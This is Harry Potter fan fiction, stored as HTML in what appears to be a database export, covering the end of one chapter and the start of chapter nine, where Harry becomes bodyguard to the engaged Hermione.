&#8216;Ermione is a\ngreat girl, you know, Harry,&#8221; Hagrid said, a serious look on his face. </i></p>\n\n<p class="MsoNormal"><i>&#8220;Yeah, she is,&#8221; Harry\nsaid. </i></p>\n\n<p class="MsoNormal"><i>&#8220;A really great girl,\n&#8216;arry,&#8221; Hagrid said. &#8220;Did you hear me?&#8221;</i></p>\n\n<p class="MsoNormal"><i>&#8220;Yeah, I heard you,&#8221;\nHarry said, looking confused. &#8220;And I agreed with you.&#8221;</i></p>\n\n<p class="MsoNormal"><i>&#8220;You know I always\nthought that you and she----well, that you and she would&#8221;</i></p>\n\n<p class="MsoNormal"><i>&#8220;Oh, not you, too,&#8221;\nHarry said, exasperated. &#8220;Hagrid! I have to deny this nearly twenty times a day\nto everyone. You know that that Rita Skeeter article from last year was a load\nof bollocks, don&#8217;t you?&#8221;</i></p>\n\n<p class="MsoNormal"><i>&#8220;Aye,&#8221; Hagrid said.\n&#8220;But, I also know what I see. &#8216;ave you ever seen how she looks at ya, &#8216;arry?&#8221;</i></p>\n\n<p class="MsoNormal"><i>Harry had no idea\nwhere Hagrid was going with this. </i></p>\n\n<p class="MsoNormal"><i>&#8220;Hagrid, in case you\nhaven&#8217;t noticed, Hermione has a boyfriend. Viktor Krum,&#8221; Harry said. &#8220;Even if I\nwas interested, not to say that I am, mind you, but if I was interested, she&#8217;s\nalready taken. And even more than that, you know how Ron is. I suspect that he\nhas feelings for her, himself. He doesn&#8217;t need me to complicate things.&#8221;</i></p>\n\n<p class="MsoNormal"><i>&#8220;For someone who\n&#8216;asn&#8217;t thought about this, you seem to &#8216;ave quite a bit to say on the subject,\nif you ask me,&#8221; Hagrid said, smiling at Harry. </i></p>\n\n<p class="MsoNormal"><i>&#8220;You don&#8217;t know what\nyou&#8217;re talking about, Hagrid,&#8221; Harry said. </i></p>\n\n<p class="MsoNormal"><i>&#8220;I don&#8217;t, do I? Well,\nlet me remind ya that she was the one who stood by ya last year when everyone\nthought you&#8217;d put your name in the Goblet of Fire. She &#8216;elped you when Sirius\nand Beaky needed to escape. And I know for a fact that she fancies you, too,&#8221;\nHagrid said with a knowing smile. When he saw Harry&#8217;s look of shock he tried to\nbacktrack. &#8220;I shouldn&#8217;t &#8216;ave told you that.&#8221; </i></p>\n\n<p class="MsoNormal"><i>&#8220;Hang on,&#8221; Harry\nsaid. &#8220;What do you mean Hermione fancies me? What has she said?&#8221;</i></p>\n\n<p class="MsoNormal"><i>&#8220;I can&#8217;t tell ya\nthat, &#8216;arry,&#8221; Hagrid said. &#8220;I&#8217;ve already said too much. I do know, however,\nthat if you told her you fancied her, she&#8217;d drop that Krum like a sack of\npotatoes, trust me on that one, &#8216;arry.&#8221; </i></p>\n\n<p class="MsoNormal"><i>&#8220;I think you&#8217;ve had\none too many trips down to the pub, Hagrid,&#8221; Harry said. &#8220;Hermione and I are\njust friends. Plain and simple. End of story. Nothing more, nothing less.&#8221; </i></p>\n\n<p class="MsoNormal"><i>Harry got up from his\nchair to leave when he heard Hagrid laughing. </i></p>\n\n<p class="MsoNormal"><i>&#8220;What are you\nlaughing at now?&#8221; Harry asked. </i></p>\n\n<p class="MsoNormal"><i>&#8220;Nothing,&#8221; Hagrid\nsaid, stifling a guffaw of laughter. &#8220;It&#8217;s just you sound just like your dad\nwhen he&#8217;d talk about Lily.&#8221; </i></p>\n\n<p class="MsoNormal"><i>&#8220;Good night, Hagrid,&#8221;\nHarry said. As he left the hut to go back to the castle, he could still hear\nHagrid laughing. </i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Now as Harry looked back at that night, he&#8217;d wished he&#8217;d\nacted on what Hagrid had told him that night, but he hadn&#8217;t. He&#8217;d waited\nanother two years before he even made a move on Hermione. If he had, they might\nhave had a longer time to be together than the short time they had before he&#8217;d\nleft. To make himself feel better, he tried to tell himself that if he&#8217;d done\nthat, he&#8217;d never have been able to leave her. No, what he had done, he&#8217;d tell\nhimself, was for the best---for everyone involved. </p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </i>Hermione and Ron were together now. As far as he knew, they were\nvery happy. Ron was his best friend. He couldn&#8217;t be so selfish as to think he\ncould swoop back in to their lives and take Hermione away from Ron.&nbsp; Who&#8217;s to say that she&#8217;d want to, Harry\nthought. Yet, something had almost happened in the kitchen this morning. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;If Ron had known\nwhat had almost happened in that kitchen, he&#8217;d probably have lost his mind. He\nwondered what would have happened if Ginny hadn&#8217;t shown up. He knew what he&#8217;d\nwanted to happen. It had been what he&#8217;d been dreaming of these past five years.\nThe memory of that short time with Hermione had kept him going. When he&#8217;d seen\nher last night, he&#8217;d had to stop himself from grabbing her and planting a kiss\non her right then and there. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; He quickly put\non his change of clothes---a pair of blue jeans, an emerald green sweater and a\npair of sneakers.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; When he walked back into the living room, he found\nHermione fast asleep on the couch. He gave a small laugh as he walked over to\nthe couch. She was out like a light. He&#8217;d known she was exhausted. He hated to\nwake her, but if they were to meet Sirius, they&#8217;d have to get a move on. He\nkneeled down and gently shook her. She didn&#8217;t stir.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Come on, sleeping beauty,&#8221; Harry said, gently nudging\nher again. &#8220;Time to get up.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hmmm,&#8221; came her muffled response. Harry watched as she\nopened her eyes. She sleepily closed them again seconds later. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Come on, Hermione,&#8221; Harry said, laughing. &#8220;Time to wake\nup.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Okay,&#8221; Hermione said, grumpily. &#8220;Okay, okay.&#8221; She sat up\non the couch. &#8220;How long was I asleep?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I think as long as I was in the bath,&#8221; Harry said. &#8220;You\ngoing to be up to meeting Sirius?&#8221;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She rubbed her eyes. &#8220;Yeah, I\nthink so. I just needed a little nap. Did you find everything okay?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes,&#8221; he said. &#8220;The shower was excellent. You could\nprobably use one, too.&#8221;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Gee, thanks,&#8221; she said. &#8220;You\ntrying to tell me that I smell? That I could audition for the lead in <i>Night\nof the Living Dead?&#8221;</i></p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No,&#8221; he said. &#8220;Of course not. Besides, I have that\nrole.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You&#8217;re funny,&#8221; she said. &#8220;You should give up the whole\nwizard-auror thing and pursue a career as a standup comic.&#8221;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah, yeah, off to the showers, Granger,&#8221; Harry said. He\ntook her hand and helped her stand up.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I thought I was the bossy one,&#8221; Hermione said, walking\ntoward the bathroom. &#8220;But I have nothing on you.&#8221; </p>\n\n<p class="MsoNormal">*************_______________________________________</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; They left Hermione&#8217;s apartment within the hour. They had\ndecided to apparate to Kings&#8217; Cross Station since they were running short on\ntime. As soon as they arrived at the station, Harry looked around, but didn&#8217;t\nsee his godfather anywhere. He suggested to Hermione that they grab a cup of\ncoffee. She readily agreed and they went to the coffee bar. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Are you sure Sirius can see us here?&#8221; Hermione asked as\nthey sat down in a booth. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah,&#8221; Harry said. &#8220;I told him we&#8217;d probably be getting\na cup of coffee.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione nodded and stirred her coffee. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You okay?&#8221; he asked. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m still a little tired, I guess,&#8221; she said. &#8220;I just\nhope we can get this mess straightened out and everything can go back to like\nit was before.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It will,&#8221; Harry said. &#8220;And you can go back to the simple\nthings, like planning your wedding.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah,&#8221; Hermione said. &#8220;Actually, Mrs. Weasley is taking\ncare of much of that. She&#8217;s like a whirlwind. I pretty much have to just show\nup.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;And get the dress, right?&#8221; Harry said. &#8220;I&#8217;m no expert,\nbut I know that&#8217;s the most important thing.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m planning on wearing my mum&#8217;s,&#8221; Hermione said, her\neyes lighting up. &#8220;I&#8217;ve always loved that dress. When I was little, I used to\njust stare at it up in the attic. It&#8217;s really an amazing dress. I used to sit\nthere in the attic and just imagine myself wearing it. What?&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry had just sat there looking at her as she described\nthe dress. &#8220;Nothing. It&#8217;s just you&#8217;re the last person I&#8217;d expect to sit\nsomewhere all gaga over a dress.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m not &#8216;gaga&#8217;. But it&#8217;s not just some dress, Harry,&#8221;\nHermione said, blushing. &#8220;And besides, every girl dreams about their wedding.\nEven bookish, sensible Hermione.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, I&#8217;m sure it&#8217;s an amazing dress and you&#8217;ll look\nbreathtaking in it,&#8221; Harry said, smiling shyly at her.&nbsp;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Their eyes had met again. Hermione smiled. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;This is so weird. Sitting here talking to you, of all\npeople, about my wedding,&#8221; she said. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What do you mean? I mean, we&#8217;re friends, Hermione. No\nmatter what has happened in the past, we&#8217;re friends.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We&#8217;re not <i>just friends</i>, Harry, and you know it,&#8221;\nHermione said. &#8220;Anyway, it&#8217;s just a little bizarre to be sitting here talking\nto you about this.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, out of all the things that you and I have been\nthrough together, I would say this ranks well below on the bizarre scale. I\nmean need I remind you of a certain three-headed dog, blast-ended screwts,\nBuckbeak&#8212;&#8220; he said between laughs. &#8220;Need I go on? Draco Malfoy turning out to\nbe a nice guy underneath it all.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No, you&#8217;ve got me there. Okay, okay. But you have to\nadmit this is kind of strange,&#8221; Hermione said. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Did you ever tell anyone about us?&#8221; Harry asked,\nbecoming more serious. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No,&#8221; she said, looking down at her muffin. &#8220;No one. Not\neven my mum.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Why not?&#8221; he asked. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Because I thought of our time together as ours, not\nanyone else&#8217;s. And I knew that if I told Ron about it--,&#8221; she stopped,\nsuddenly. She gave a half-hearted smile to him before continuing. &#8220;Well, you\nknow how he would have reacted. And after they way things ended, I didn&#8217;t want\nanyone feeling sorry for me. I don&#8217;t know. It was hard, though. Not to have\nanyone to talk to about it. I actually wrote a lot in my journal about it.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He was going to tell her that he, too, had suffered\nwithout her, but he never got around to it. Sirius Black became visible\nsuddenly in the crowd. Both he and Hermione saw his arrival and exchanged broad\nsmiles. Hermione quickly leaped out of her chair and ran towards Sirius. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;As I live and breathe!&#8221; Sirius said, enveloping her in a\nbear hug. &#8220;The one and only Miss Hermione Granger.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh, it&#8217;s so great to see you,&#8221; she said, breaking the\nhug. &#8220;You haven&#8217;t changed a bit.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;My dear, I am getting old and getting there fast,&#8221;\nSirius said, going over to Harry and hugging his godson. &#8220;How are you, Harry?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Okay,&#8221; Harry said with a smile. &#8220;How about you? You want\nanything? Coffee?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Sirius shook his head. &#8220;No, thanks,&#8221; he said, taking a\nseat. &#8220;Sit down both of you. We have a lot to talk about.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;So what have you found out?&#8221; Harry asked. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;&#8221;Very little, I&#8217;m afraid,&#8221; he said, frowning. &#8220;We had a\ncouple of leads, but nothing panned out.&#8221;&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What do we do now?&#8221; Hermione asked. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well the main objective is to keep you safe, Hermione,&#8221;\nSirius said. &#8220;The best thing for you to do is to try and keep as normal a\nschedule as possible.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You mean go to work, as usual?&#8221; Hermione asked, looking\nat Harry as she said this. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes, of course,&#8221; Sirius said. &#8220;We hope that if you keep\nas normal a schedule as possible, act as if you have no idea what&#8217;s going on,\nwe might lull whomever this is into a false sense of security. They may be\nready to make their move and that&#8217;s when we&#8217;ll catch them.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I don&#8217;t think that&#8217;s the best idea, Sirius,&#8221; Harry said\nfirmly. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, we won&#8217;t be sending her in there without\nprotection,&#8221; Sirius said. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You mean bodyguards?&#8221; Hermione asked. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;That&#8217;s exactly what I mean,&#8221; Sirius said, smiling at\nher. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione gave him a confused look. &#8220;Wait. I thought we\nwanted to keep this hush-hush. My being followed by bodyguards----well, that&#8217;s\njust going to draw unnecessary attention.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, it won&#8217;t be conspicuous,&#8221; Sirius said, looking at\nHarry. &#8220;You&#8217;ll have one bodyguard and he&#8217;s got the perfect cover. No one will ever\nknow that he&#8217;s here under anything but the guise of a friend helping you plan\nyour wedding.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Me?&#8221; Harry asked, incredulously. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Harry?&#8221; Hermione asked at the very same time. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What?&#8221; Sirius said. &#8220;You don&#8217;t think it&#8217;s a good idea?&#8221;</p>\n\n<p class="MsoNormal">&#8220;Sirius,\ncan I have a word?&#8221; Harry asked, standing up. &#8220;Hermione, you don&#8217;t mind, do\nyou?&#8221;<br>\nShe gave a confused look as Harry grabbed Sirius by the arm and led him to the\nfront of the restaurant. <br>&nbsp;&#8220;What are you playing at?&#8221; Harry asked\nwhen they were out of Hermione&#8217;s earshot. </p>\n\n<p class="MsoNormal" style="margin-left:.5in">&#8220;Nothing,\nmy dear godson, nothing at all,&#8221; Sirius said. </p>\n\n<p class="MsoNormal" style="margin-left:.5in">&#8220;So,\nlet me get this straight. I&#8217;m supposed to watch over Hermione 24-7?&#8221; Harry\nasked. </p>\n\n<p class="MsoNormal" style="margin-left:.5in">Sirius\nhid a smile. &#8220;That&#8217;s right.&#8221; </p>\n\n<p class="MsoBodyTextIndent">Harry could feel the anger boiling up inside him. &#8220;How\nare you laughing at this? This is a very serious situation.&#8221;</p>\n\n<p class="MsoBodyTextIndent">&#8220;Yes, it is and I don&#8217;t mean to laugh,&#8221; Sirius said.\n&#8220;But you&#8217;ve got to see that this is the best idea. It&#8217;s our best shot. And\nwhether you choose to admit it or not, you like the idea of spending more time\nwith Hermione.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;It\ndoesn&#8217;t matter what I like or don&#8217;t like or what I want or don&#8217;t want, Sirius,&#8221;\nHarry said. &#8220;She&#8217;s engaged. Furthermore, she&#8217;s engaged to Ron. Not to me, okay?\nTo Ron.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;They\naren&#8217;t married, yet,&#8221; Sirius said. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;This\nisn&#8217;t a game, Sirius. This is my life and theirs,&#8221; Harry said. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;I\ncan&#8217;t do that to Ron,&#8221; Harry said. &#8220;And besides we&#8217;re getting off the main\npoint here. We&#8217;re here to protect Hermione. Her life is at stake.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.5in">Sirius\nput a comforting arm on Harry&#8217;s shoulder. &#8220;And her happiness, as well. Yours,\ntoo. Do you know that I saw the two of you arrive here at the station? I\nwatched the two of you. I haven&#8217;t seen you that happy in a long time, Harry.\nThere&#8217;s a light in your eyes that hasn&#8217;t been there for awhile.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Sirius,\nI really don&#8217;t think that this is a good idea,&#8221; Harry said. He gazed back\ninside the coffee shop to where Hermione was sitting. She was sipping her\ncoffee. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Well,\nit doesn&#8217;t matter what you think,&#8221; Sirius said. &#8220;Your boss and mine, Remus\nLupin, has agreed to this. He thinks that this is our best plan of action. So,\nit&#8217;s a direct order.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Yeah,\nI&#8217;m sure that you helped make up his mind, huh?&#8221; Harry asked. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;You\ncan do this, Harry,&#8221; Sirius said. He joined Harry at the window and they both\nlooked at Hermione. &#8220;She needs you. She needs you now more than ever. Don&#8217;t\nleave her again.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Okay,&#8221;\nHarry said. &#8220;I&#8217;ll do it. But I&#8217;m not going to come between she and Ron.&#8221; Harry\nwalked back inside and over to Hermione. Sirius followed. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;So,&#8221;\nHarry said, sitting back down. &#8220;Against my better judgment, I&#8217;ve agreed to\nserve as your bodyguard, provided you&#8217;ll have me that is.&#8221; He smiled\ngood-naturedly at her. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;If\nSirius thinks this is the best idea, I trust his judgment,&#8221; she said. &#8220;I trust\nyou, Harry. I trust you with my life.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;I\nwon&#8217;t let you down, Hermione,&#8221; Harry said. &#8220;I promise.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n\n\n\n\n\n'),
	(255, 9, ' <p>Author&#8217;s Note:&nbsp;&nbsp; Thanks for all the kind reviews. Sorry about the delay in the new chapter. Had a case of writer&#8217;s block&#8230;..hope you enjoy. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p>&nbsp;</p>\n\n<p>Chapter Nine </p>\n\n<p>Fitting</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The next two days went by in a blur for Harry and Hermione. They had spent almost every waking moment going over the Ministry employee registers trying to determine whom they needed to keep a close watch on when Hermione returned to work. Harry had finally relented to letting Hermione return to work. She planned to return to work the next day----Thursday---with Harry in tow. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; They had taken a break, however, from their investigating to travel into London for Hermione&#8217;s wedding dress fitting. As she and Harry walked down the street toward the dress shop, Hermione couldn&#8217;t help thinking how weird this all was. They had been mostly silent, as they had made their way into London. Hormone had taken her cue from Harry, who had been unusually quiet during the walk. Something was bothering him and she wondered if maybe it was where they were going and why they were going there. They hadn&#8217;t discussed their near kiss or Ron, for that matter. Ron was to return tomorrow evening from his road trip. Hermione didn&#8217;t even want to think about how that reunion would go. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It&#8217;s just up another block,&#8221; Hermione said to Harry. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Uh-huh,&#8221; Harry said. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Are you alright, Harry?&#8221; Hermione asked. &#8220;I know we should be doing more important things, like going back over those employee registers, but I promised my mum I would do this today.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah, I&#8217;m okay,&#8221; Harry said, giving Hermione a half-smile. &#8220;So does this seamstress know that you are a witch?&#8221;<br>\n &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione laughed. &#8220;No. She&#8217;s a muggle through and through. She&#8217;s a long-time patient of my parents and she jumped at the chance at altering my mum&#8217;s dress for me. So, don&#8217;t go mentioning anything about wizarding, or three-headed dogs or blast-ended screwts, or anything like that.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; For the first time since they&#8217;d departed Hermione&#8217;s flat, Harry smiled---an actual, sincere smile. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Okay,&#8221; Harry said. &#8220;But she&#8217;d be missing out on some great stories.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah,&#8221; Hermione said. &#8220;It probably wouldn&#8217;t matter if you did, though. 